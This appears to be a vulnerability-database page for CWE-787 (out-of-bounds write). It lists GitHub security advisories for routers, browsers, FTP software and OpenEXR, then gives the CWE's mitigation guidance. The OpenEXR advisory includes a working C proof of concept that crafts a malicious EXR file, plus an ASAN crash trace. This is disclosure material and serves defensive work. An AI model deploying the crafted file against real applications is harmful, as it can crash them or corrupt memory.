CWE-787
Allowed-with-ReviewOut-of-bounds Write
Abstraction: Base · Status: Draft
The product writes data past the end, or before the beginning, of the intended buffer.
15198 vulnerabilities reference this CWE, most recent first.
GHSA-H6XJ-M6V2-X4V6
Vulnerability from github – Published: 2022-09-01 00:00 – Updated: 2022-09-03 00:00Tenda AC9 V15.03.05.19 was discovered to contain a stack overflow via the deviceList parameter at /goform/setMacFilterCfg.
{
"affected": [],
"aliases": [
"CVE-2022-36569"
],
"database_specific": {
"cwe_ids": [
"CWE-787"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-31T20:15:00Z",
"severity": "HIGH"
},
"details": "Tenda AC9 V15.03.05.19 was discovered to contain a stack overflow via the deviceList parameter at /goform/setMacFilterCfg.",
"id": "GHSA-h6xj-m6v2-x4v6",
"modified": "2022-09-03T00:00:16Z",
"published": "2022-09-01T00:00:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36569"
},
{
"type": "WEB",
"url": "https://github.com/CyberUnicornIoT/IoTvuln/blob/main/Tenda_ac9/4/tenda_ac9_setMacFilterCfg.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H72H-VW3H-GHQJ
Vulnerability from github – Published: 2022-11-22 15:30 – Updated: 2025-04-29 06:30Netgear R7000P V1.3.1.64 is vulnerable to Buffer Overflow via parameter openvpn_server_ip.
{
"affected": [],
"aliases": [
"CVE-2022-44199"
],
"database_specific": {
"cwe_ids": [
"CWE-787"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-11-22T14:15:00Z",
"severity": "CRITICAL"
},
"details": "Netgear R7000P V1.3.1.64 is vulnerable to Buffer Overflow via parameter openvpn_server_ip.",
"id": "GHSA-h72h-vw3h-ghqj",
"modified": "2025-04-29T06:30:36Z",
"published": "2022-11-22T15:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-44199"
},
{
"type": "WEB",
"url": "https://github.com/RobinWang825/IoT_vuln/tree/main/Netgear/R7000P/16"
},
{
"type": "WEB",
"url": "https://www.netgear.com/about/security"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H72P-7XMW-GPP8
Vulnerability from github – Published: 2024-10-30 00:31 – Updated: 2024-10-30 15:30Out of bounds write in Dawn in Google Chrome prior to 130.0.6723.92 allowed a remote attacker to perform out of bounds memory access via a crafted HTML page. (Chromium security severity: Critical)
{
"affected": [],
"aliases": [
"CVE-2024-10487"
],
"database_specific": {
"cwe_ids": [
"CWE-787"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-29T22:15:03Z",
"severity": "CRITICAL"
},
"details": "Out of bounds write in Dawn in Google Chrome prior to 130.0.6723.92 allowed a remote attacker to perform out of bounds memory access via a crafted HTML page. (Chromium security severity: Critical)",
"id": "GHSA-h72p-7xmw-gpp8",
"modified": "2024-10-30T15:30:46Z",
"published": "2024-10-30T00:31:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10487"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2024/10/stable-channel-update-for-desktop_29.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/375123371"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H74H-W4R7-RP9X
Vulnerability from github – Published: 2022-12-22 21:30 – Updated: 2025-04-16 15:34A malicious webpage could have caused an out-of-bounds write in WebGL, leading to memory corruption and a potentially exploitable crash. This vulnerability affects Thunderbird < 91.10, Firefox < 101, and Firefox ESR < 91.10.
{
"affected": [],
"aliases": [
"CVE-2022-31737"
],
"database_specific": {
"cwe_ids": [
"CWE-787"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-22T20:15:00Z",
"severity": "CRITICAL"
},
"details": "A malicious webpage could have caused an out-of-bounds write in WebGL, leading to memory corruption and a potentially exploitable crash. This vulnerability affects Thunderbird \u003c 91.10, Firefox \u003c 101, and Firefox ESR \u003c 91.10.",
"id": "GHSA-h74h-w4r7-rp9x",
"modified": "2025-04-16T15:34:08Z",
"published": "2022-12-22T21:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31737"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1743767"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2022-20"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2022-21"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2022-22"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H754-95CG-2MJG
Vulnerability from github – Published: 2022-05-24 17:39 – Updated: 2022-05-24 17:39Out of bound memory access while processing frames due to lack of check of invalid frames received in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon IoT, Snapdragon Mobile, Snapdragon Voice & Music, Snapdragon Wearables, Snapdragon Wired Infrastructure and Networking
{
"affected": [],
"aliases": [
"CVE-2020-11139"
],
"database_specific": {
"cwe_ids": [
"CWE-787"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-21T10:15:00Z",
"severity": "HIGH"
},
"details": "Out of bound memory access while processing frames due to lack of check of invalid frames received in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon IoT, Snapdragon Mobile, Snapdragon Voice \u0026 Music, Snapdragon Wearables, Snapdragon Wired Infrastructure and Networking",
"id": "GHSA-h754-95cg-2mjg",
"modified": "2022-05-24T17:39:58Z",
"published": "2022-05-24T17:39:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-11139"
},
{
"type": "WEB",
"url": "https://www.qualcomm.com/company/product-security/bulletins/december-2020-bulletin"
},
{
"type": "WEB",
"url": "https://www.qualcomm.com/company/product-security/bulletins/december-2020-security-bulletin"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-H75H-RRW3-XMQ8
Vulnerability from github – Published: 2026-04-04 15:30 – Updated: 2026-04-04 15:30NICO-FTP 3.0.1.19 contains a structured exception handler buffer overflow vulnerability that allows remote attackers to execute arbitrary code by sending crafted FTP commands. Attackers can connect to the FTP service and send oversized data in response handlers to overwrite SEH pointers and redirect execution to injected shellcode.
{
"affected": [],
"aliases": [
"CVE-2018-25254"
],
"database_specific": {
"cwe_ids": [
"CWE-787"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-04T14:16:21Z",
"severity": "CRITICAL"
},
"details": "NICO-FTP 3.0.1.19 contains a structured exception handler buffer overflow vulnerability that allows remote attackers to execute arbitrary code by sending crafted FTP commands. Attackers can connect to the FTP service and send oversized data in response handlers to overwrite SEH pointers and redirect execution to injected shellcode.",
"id": "GHSA-h75h-rrw3-xmq8",
"modified": "2026-04-04T15:30:21Z",
"published": "2026-04-04T15:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-25254"
},
{
"type": "WEB",
"url": "https://en.softonic.com/download/nico-ftp/windows/post-download"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/45442"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/nico-ftp-buffer-overflow-seh"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-H762-RHV3-H25V
Vulnerability from github – Published: 2026-04-03 21:47 – Updated: 2026-04-03 21:47Summary
The B44/B44A decoder in OpenEXR reconstructs row pointers into a scratch buffer using int. When the channel width (nx) is large enough, the product y * nx overflows int, causing the row pointer to wrap before the start of the scratch buffer. Subsequent memcpy() calls then write decoded pixel blocks to an invalid address, producing an active out-of-bounds write.
Root cause
- Variable declarations (internal_b44.c:535)
int nx, ny;
nx and ny are declared as plain int. They are assigned from curc->width and curc->height which are int32_t.
- Scratch buffer allocation (internal_b44:543)
nBytes = (uint64_t) (ny) * (uint64_t) (nx) *
(uint64_t) (curc->bytes_per_element);
The allocation path correctly promotes to uint64_t before multiplying. The scratch buffer is always large enough to hold the full channel.
- Row pointer reconstruction (internal_b44:560)
row0 = (uint16_t*) scratch;
row0 += y * nx;
row1 = row0 + nx;
row2 = row1 + nx;
row3 = row2 + nx;
y and nx are both int. The product y * nx is computed in int. If this product exceeds INT_MAX (2,147,483,647), the result is signed integer overflow
- Out of Band write (internal_b44:592)
memcpy (row0, &s[0], n);
memcpy (row1, &s[4], n);
memcpy (row2, &s[8], n);
memcpy (row3, &s[12], n);
These four writes copy decoded B44 pixel blocks into row0–row3, which now point to memory before the scratch buffer. The same pattern is present in the encoder path (ht_apply_impl), lines 431–432, where row0–row3 are read rather than written, producing an out-of-bounds read.
PoC
The PoC generates a valid B44 scanline EXR file (268435456 × 9, single HALF channel) and immediately decodes it. During decompression, uncompress_b44_impl() computes row0 += y * nx, with y=8 and nx=268435456, the product exceeds INT_MAX, triggering a signed integer overflow that displaces row0 before the scratch buffer. The subsequent memcpy() writes to this invalid address, causing the crash. The generated file /tmp/poc_b44.exr can be replayed independently on any OpenEXR installation.
#include <openexr.h>
#include <inttypes.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define CHECK(call)
do {
exr_result_t _rv = (call);
if (_rv != EXR_ERR_SUCCESS) {
fprintf(stderr, "%s failed (%d)\n", #call, (int)_rv);
goto fail;
}
} while (0)
static void fill_blocks(uint8_t* out, uint64_t n) {
for (uint64_t i = 0; i < n; i++, out += 3) {
out[0] = 0x00; out[1] = 0x00; out[2] = (13u << 2);
}
}
int main(void) {
const int64_t W = 268435456;
const int64_t H = 9;
const char* path = "/tmp/poc_b44.exr";
const uint64_t blocks = (uint64_t)(W / 4) * 2 + 1;
const uint64_t psz = blocks * 3;
uint8_t* packed = (uint8_t*) malloc(psz);
exr_context_t ctxt = NULL;
exr_context_initializer_t cinit = EXR_DEFAULT_CONTEXT_INITIALIZER;
int part = -1;
exr_chunk_info_t cinfo;
exr_decode_pipeline_t dec = EXR_DECODE_PIPELINE_INITIALIZER;
uint16_t dummy = 0;
int ok = 0;
if (!packed) { fprintf(stderr, "malloc failed\n"); return 1; }
fill_blocks(packed, blocks);
CHECK(exr_start_write(&ctxt, path, EXR_WRITE_FILE_DIRECTLY, &cinit));
CHECK(exr_add_part(ctxt, "scan", EXR_STORAGE_SCANLINE, &part));
CHECK(exr_initialize_required_attr_simple(
ctxt, part, (int32_t)W, (int32_t)H, EXR_COMPRESSION_B44));
CHECK(exr_add_channel(ctxt, part, "Y", EXR_PIXEL_HALF,
EXR_PERCEPTUALLY_LOGARITHMIC, 1, 1));
CHECK(exr_write_header(ctxt));
CHECK(exr_write_scanline_chunk(ctxt, part, 0, packed, psz));
exr_finish(&ctxt); ctxt = NULL;
fprintf(stderr, "[*] wrote %s W=%"PRId64" H=%"PRId64 " packed=%"PRIu64" bytes\n", path, W, H, psz);
CHECK(exr_start_read(&ctxt, path, &cinit));
CHECK(exr_read_scanline_chunk_info(ctxt, 0, 0, &cinfo));
CHECK(exr_decoding_initialize(ctxt, 0, &cinfo, &dec));
dec.channels[0].decode_to_ptr = (uint8_t*)&dummy;
dec.channels[0].user_pixel_stride = 2;
dec.channels[0].user_line_stride = dec.channels[0].width * 2;
dec.channels[0].user_bytes_per_element = 2;
dec.channels[0].user_data_type = dec.channels[0].data_type;
CHECK(exr_decoding_choose_default_routines(ctxt, 0, &dec));
dec.unpack_and_convert_fn = NULL;
fprintf(stderr, "[*] calling exr_decoding_run()h\n");
fflush(stderr);
CHECK(exr_decoding_run(ctxt, 0, &dec));
ok = 1;
fail:
if (ctxt) { exr_decoding_destroy(ctxt, &dec); exr_finish(&ctxt); }
free(packed);
return ok ? 0 : 1;
}
ASAN Trace
openexr/src/lib/OpenEXRCore/internal_b44.c:561:23: runtime error:
signed integer overflow: 8 * 268435456 cannot be represented in type 'int'
#0 in uncompress_b44_impl internal_b44.c:561
#1 in internal_exr_undo_b44 internal_b44.c:706
#2 in decompress_data compression.c:444
#3 in exr_uncompress_chunk compression.c:541
#4 in exr_decoding_run decoding.c:580
#5 in main poc.c:83
=================================================================
==PID==ERROR: AddressSanitizer: SEGV on unknown address 0x7fe65cfbc800
==PID==The signal is caused by a WRITE memory access.
#0 in memcpy (libc)
#1 in uncompress_b44_impl internal_b44.c:599
#2 in internal_exr_undo_b44 internal_b44.c:706
#3 in decompress_data compression.c:444
#4 in exr_uncompress_chunk compression.c:541
#5 in exr_decoding_run decoding.c:580
#6 in main poc.c:83
SUMMARY: AddressSanitizer: SEGV — WRITE via memcpy in uncompress_b44_impl internal_b44.c:599
Impact
A crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exr_decoding_run(). Consequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.4.7"
},
"package": {
"ecosystem": "PyPI",
"name": "openexr"
},
"ranges": [
{
"events": [
{
"introduced": "3.4.0"
},
{
"fixed": "3.4.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "openexr"
},
"ranges": [
{
"events": [
{
"introduced": "3.3.0"
},
{
"last_affected": "3.3.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "openexr"
},
"ranges": [
{
"events": [
{
"introduced": "3.2.0"
},
{
"last_affected": "3.2.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34544"
],
"database_specific": {
"cwe_ids": [
"CWE-190",
"CWE-787"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-03T21:47:07Z",
"nvd_published_at": "2026-04-01T21:17:01Z",
"severity": "HIGH"
},
"details": "### Summary\nThe B44/B44A decoder in OpenEXR reconstructs row pointers into a scratch buffer using int. When the channel width (nx) is large enough, the product y * nx overflows int, causing the row pointer to wrap before the start of the scratch buffer. Subsequent memcpy() calls then write decoded pixel blocks to an invalid address, producing an active out-of-bounds write.\n\n### Root cause \n* Variable declarations (internal_b44.c:535)\n```c\nint nx, ny;\n```\n`nx` and `ny` are declared as plain int. They are assigned from `curc-\u003ewidth` and `curc-\u003eheight` which are int32_t.\n\n* Scratch buffer allocation (internal_b44:543)\n```c\nnBytes = (uint64_t) (ny) * (uint64_t) (nx) *\n (uint64_t) (curc-\u003ebytes_per_element);\n```\nThe allocation path correctly promotes to uint64_t before multiplying.\nThe scratch buffer is always large enough to hold the full channel.\n\n* Row pointer reconstruction (internal_b44:560)\n```c\nrow0 = (uint16_t*) scratch;\nrow0 += y * nx; \nrow1 = row0 + nx;\nrow2 = row1 + nx;\nrow3 = row2 + nx;\n```\n`y` and `nx` are both int. The product `y * nx` is computed in int. If this product exceeds INT_MAX (2,147,483,647), the result is signed integer overflow\n\n* Out of Band write (internal_b44:592)\n```c\nmemcpy (row0, \u0026s[0], n);\nmemcpy (row1, \u0026s[4], n);\nmemcpy (row2, \u0026s[8], n);\nmemcpy (row3, \u0026s[12], n);\n```\nThese four writes copy decoded B44 pixel blocks into row0\u2013row3, which now point to memory before the scratch buffer. \nThe same pattern is present in the encoder path (ht_apply_impl), lines 431\u2013432, where row0\u2013row3 are read rather than written, producing an out-of-bounds read.\n\n### PoC\nThe PoC generates a valid B44 scanline EXR file (268435456 \u00d7 9, single HALF channel) and immediately decodes it. During decompression, uncompress_b44_impl() computes `row0 += y * nx`, with y=8 and nx=268435456, the product exceeds INT_MAX, triggering a signed integer overflow that displaces row0 before the scratch buffer. The subsequent memcpy() writes to this invalid address, causing the crash. The generated file /tmp/poc_b44.exr can be replayed independently on any OpenEXR installation.\n```poc.cpp\n#include \u003copenexr.h\u003e\n#include \u003cinttypes.h\u003e\n#include \u003cstdint.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003cstring.h\u003e\n\n#define CHECK(call) \n do { \n exr_result_t _rv = (call); \n if (_rv != EXR_ERR_SUCCESS) { \n fprintf(stderr, \"%s failed (%d)\\n\", #call, (int)_rv); \n goto fail; \n } \n } while (0)\n\nstatic void fill_blocks(uint8_t* out, uint64_t n) {\n for (uint64_t i = 0; i \u003c n; i++, out += 3) {\n out[0] = 0x00; out[1] = 0x00; out[2] = (13u \u003c\u003c 2);\n }\n}\n\nint main(void) {\n const int64_t W = 268435456;\n const int64_t H = 9;\n const char* path = \"/tmp/poc_b44.exr\";\n\n const uint64_t blocks = (uint64_t)(W / 4) * 2 + 1;\n const uint64_t psz = blocks * 3;\n\n uint8_t* packed = (uint8_t*) malloc(psz);\n exr_context_t ctxt = NULL;\n exr_context_initializer_t cinit = EXR_DEFAULT_CONTEXT_INITIALIZER;\n int part = -1;\n exr_chunk_info_t cinfo;\n exr_decode_pipeline_t dec = EXR_DECODE_PIPELINE_INITIALIZER;\n uint16_t dummy = 0;\n int ok = 0;\n\n if (!packed) { fprintf(stderr, \"malloc failed\\n\"); return 1; }\n fill_blocks(packed, blocks);\n\n CHECK(exr_start_write(\u0026ctxt, path, EXR_WRITE_FILE_DIRECTLY, \u0026cinit));\n CHECK(exr_add_part(ctxt, \"scan\", EXR_STORAGE_SCANLINE, \u0026part));\n CHECK(exr_initialize_required_attr_simple(\n ctxt, part, (int32_t)W, (int32_t)H, EXR_COMPRESSION_B44));\n CHECK(exr_add_channel(ctxt, part, \"Y\", EXR_PIXEL_HALF,\n EXR_PERCEPTUALLY_LOGARITHMIC, 1, 1));\n CHECK(exr_write_header(ctxt));\n CHECK(exr_write_scanline_chunk(ctxt, part, 0, packed, psz));\n exr_finish(\u0026ctxt); ctxt = NULL;\n\n fprintf(stderr, \"[*] wrote %s W=%\"PRId64\" H=%\"PRId64 \" packed=%\"PRIu64\" bytes\\n\", path, W, H, psz);\n\n\n CHECK(exr_start_read(\u0026ctxt, path, \u0026cinit));\n CHECK(exr_read_scanline_chunk_info(ctxt, 0, 0, \u0026cinfo));\n CHECK(exr_decoding_initialize(ctxt, 0, \u0026cinfo, \u0026dec));\n\n dec.channels[0].decode_to_ptr = (uint8_t*)\u0026dummy;\n dec.channels[0].user_pixel_stride = 2;\n dec.channels[0].user_line_stride = dec.channels[0].width * 2;\n dec.channels[0].user_bytes_per_element = 2;\n dec.channels[0].user_data_type = dec.channels[0].data_type;\n\n CHECK(exr_decoding_choose_default_routines(ctxt, 0, \u0026dec));\n dec.unpack_and_convert_fn = NULL; \n\n fprintf(stderr, \"[*] calling exr_decoding_run()h\\n\");\n fflush(stderr);\n\n\n CHECK(exr_decoding_run(ctxt, 0, \u0026dec));\n ok = 1;\n\nfail:\n if (ctxt) { exr_decoding_destroy(ctxt, \u0026dec); exr_finish(\u0026ctxt); }\n free(packed);\n return ok ? 0 : 1;\n}\n```\n### ASAN Trace\n```\nopenexr/src/lib/OpenEXRCore/internal_b44.c:561:23: runtime error:\n signed integer overflow: 8 * 268435456 cannot be represented in type \u0027int\u0027\n #0 in uncompress_b44_impl internal_b44.c:561\n #1 in internal_exr_undo_b44 internal_b44.c:706\n #2 in decompress_data compression.c:444\n #3 in exr_uncompress_chunk compression.c:541\n #4 in exr_decoding_run decoding.c:580\n #5 in main poc.c:83\n\n=================================================================\n==PID==ERROR: AddressSanitizer: SEGV on unknown address 0x7fe65cfbc800\n==PID==The signal is caused by a WRITE memory access.\n #0 in memcpy (libc)\n #1 in uncompress_b44_impl internal_b44.c:599\n #2 in internal_exr_undo_b44 internal_b44.c:706\n #3 in decompress_data compression.c:444\n #4 in exr_uncompress_chunk compression.c:541\n #5 in exr_decoding_run decoding.c:580\n #6 in main poc.c:83\n\nSUMMARY: AddressSanitizer: SEGV \u2014 WRITE via memcpy in uncompress_b44_impl internal_b44.c:599\n```\n\n### Impact\nA crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exr_decoding_run(). \nConsequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent).",
"id": "GHSA-h762-rhv3-h25v",
"modified": "2026-04-03T21:47:07Z",
"published": "2026-04-03T21:47:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-h762-rhv3-h25v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34544"
},
{
"type": "WEB",
"url": "https://github.com/AcademySoftwareFoundation/openexr/commit/35e7aa35e22c1975606be86e859f31cc1fc598ee"
},
{
"type": "PACKAGE",
"url": "https://github.com/AcademySoftwareFoundation/openexr"
},
{
"type": "WEB",
"url": "https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenEXR: integer overflow to OOB write in uncompress_b44_impl()"
}
GHSA-H76C-4XF2-WVP8
Vulnerability from github – Published: 2026-03-22 15:31 – Updated: 2026-03-22 15:31TuneClone 2.20 contains a structured exception handler (SEH) buffer overflow vulnerability that allows local attackers to execute arbitrary code by supplying a malicious license code string. Attackers can craft a payload with a controlled buffer, NSEH jump instruction, and SEH handler address pointing to a ROP gadget, then paste it into the license code field to trigger code execution and establish a bind shell.
{
"affected": [],
"aliases": [
"CVE-2019-25603"
],
"database_specific": {
"cwe_ids": [
"CWE-787"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-22T14:16:27Z",
"severity": "HIGH"
},
"details": "TuneClone 2.20 contains a structured exception handler (SEH) buffer overflow vulnerability that allows local attackers to execute arbitrary code by supplying a malicious license code string. Attackers can craft a payload with a controlled buffer, NSEH jump instruction, and SEH handler address pointing to a ROP gadget, then paste it into the license code field to trigger code execution and establish a bind shell.",
"id": "GHSA-h76c-4xf2-wvp8",
"modified": "2026-03-22T15:31:28Z",
"published": "2026-03-22T15:31:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-25603"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/47012"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/tuneclone-structured-exception-handler-buffer-overflow"
},
{
"type": "WEB",
"url": "http://www.tuneclone.com"
},
{
"type": "WEB",
"url": "http://www.tuneclone.com/tuneclone_setup.exe"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-H76M-VVHH-G679
Vulnerability from github – Published: 2022-05-24 17:40 – Updated: 2022-05-24 17:40The function AES_UnWRAP() in the Realtek RTL8195A Wi-Fi Module prior to versions released in April 2020 (up to and excluding 2.08) does not validate the size parameter for a memcpy() operation, resulting in a stack buffer overflow which can be exploited for remote code execution or denial of service. An attacker can impersonate an Access Point and attack a vulnerable Wi-Fi client, by injecting a crafted packet into the WPA2 handshake. The attacker needs to know the network's PSK in order to exploit this.
{
"affected": [],
"aliases": [
"CVE-2020-25855"
],
"database_specific": {
"cwe_ids": [
"CWE-787"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-02-03T17:15:00Z",
"severity": "HIGH"
},
"details": "The function AES_UnWRAP() in the Realtek RTL8195A Wi-Fi Module prior to versions released in April 2020 (up to and excluding 2.08) does not validate the size parameter for a memcpy() operation, resulting in a stack buffer overflow which can be exploited for remote code execution or denial of service. An attacker can impersonate an Access Point and attack a vulnerable Wi-Fi client, by injecting a crafted packet into the WPA2 handshake. The attacker needs to know the network\u0027s PSK in order to exploit this.",
"id": "GHSA-h76m-vvhh-g679",
"modified": "2022-05-24T17:40:54Z",
"published": "2022-05-24T17:40:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-25855"
},
{
"type": "WEB",
"url": "https://www.vdoo.com/blog/realtek-rtl8195a-vulnerabilities-discovered"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-H78G-XFXF-Q2RF
Vulnerability from github – Published: 2023-03-16 21:30 – Updated: 2023-03-23 21:30An out-of-bounds write vulnerability exists in the SetAttributeList attribute_count_request functionality of EIP Stack Group OpENer development commit 58ee13c. A specially crafted EtherNet/IP request can lead to an out of bounds write, potentially causing the server to crash or allow for remote code execution. An attacker can send a series of EtherNet/IP requests to trigger this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2022-43605"
],
"database_specific": {
"cwe_ids": [
"CWE-787"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-16T21:15:00Z",
"severity": "CRITICAL"
},
"details": "An out-of-bounds write vulnerability exists in the SetAttributeList attribute_count_request functionality of EIP Stack Group OpENer development commit 58ee13c. A specially crafted EtherNet/IP request can lead to an out of bounds write, potentially causing the server to crash or allow for remote code execution. An attacker can send a series of EtherNet/IP requests to trigger this vulnerability.",
"id": "GHSA-h78g-xfxf-q2rf",
"modified": "2023-03-23T21:30:21Z",
"published": "2023-03-16T21:30:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-43605"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2022-1662"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-3
Strategy: Language Selection
- Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer.
- Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.
Mitigation MIT-4.1
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.
Mitigation MIT-10
Strategy: Environment Hardening
- Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking.
- D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail.
Mitigation MIT-9
- Consider adhering to the following rules when allocating and managing an application's memory:
- Double check that the buffer is as large as specified.
- When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.
- Check buffer boundaries if accessing the buffer in a loop and make sure there is no danger of writing past the allocated space.
- If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.
Mitigation MIT-11
Strategy: Environment Hardening
- Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.
- Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking.
- For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].
Mitigation MIT-12
Strategy: Environment Hardening
- Use a CPU and operating system that offers Data Execution Protection (using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX [REF-60] [REF-61]. These techniques ensure that any instruction executed is exclusively at a memory address that is part of the code segment.
- For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336].
Mitigation MIT-13
